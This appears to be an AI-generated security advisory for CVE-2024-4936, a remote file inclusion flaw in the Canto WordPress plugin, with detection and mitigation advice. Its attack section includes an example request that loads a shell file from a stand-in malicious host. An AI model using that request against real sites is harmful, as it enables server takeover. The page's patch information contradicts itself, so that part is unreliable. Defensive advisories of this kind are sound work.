CVE-2024-4936 Overview
The Canto plugin for WordPress is vulnerable to Remote File Inclusion in all versions up to, and including, 3.0.8 via the abspath parameter. This makes it possible for unauthenticated attackers to include remote files on the server, resulting in code execution. This requires allow_url_include to be enabled on the target site to exploit.
Critical Impact
This vulnerability allows remote code execution with a critical CVSS score of 9.8.
Affected Products
- Canto Plugin for WordPress
Discovery Timeline
- Not Available - Vulnerability discovered by Not Available
- Not Available - Responsible disclosure to Canto
- Not Available - CVE CVE-2024-4936 assigned
- Not Available - Canto releases security patch
- 2024-06-14 - CVE CVE-2024-4936 published to NVD
- 2024-11-21 - Last updated in NVD database
Technical Details for CVE-2024-4936
Vulnerability Analysis
Exploiting this vulnerability requires the allow_url_include configuration to be enabled, which allows remote code execution by including external files through the abspath parameter.
Root Cause
The vulnerability stems from improper validation of the abspath parameter, allowing remote file inclusion.
Attack Vector
The attack can be executed over the network by sending malicious requests targeting the vulnerable abspath parameter.
// Example exploitation code (sanitized)
$url = "http://target.site/wp-content/plugins/canto/somefile.php?abspath=http://malicious.site/shell.txt";
file_get_contents($url);
Detection Methods for CVE-2024-4936
Indicators of Compromise
- Unusual outbound network traffic
- Presence of unexpected files on the server
- Unauthorized file access or modifications
Detection Strategies
Implement strict URL filtering to detect and block requests containing suspicious abspath parameter usage. Monitor for changes and attempts to modify server configurations.
Monitoring Recommendations
Regularly scan server logs for anomalies and monitor network traffic for connections to unknown external sites.
How to Mitigate CVE-2024-4936
Immediate Actions Required
- Disable allow_url_include in the PHP configuration
- Review and sanitize user input strictly
- Update the Canto plugin to the latest patched version as soon as it becomes available
Patch Information
No patch is available yet.
Workarounds
Disable the allow_url_include option in your php.ini file to prevent remote file inclusion.
# Configuration example
echo "allow_url_include=Off" >> /etc/php.ini
service httpd restart
Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.
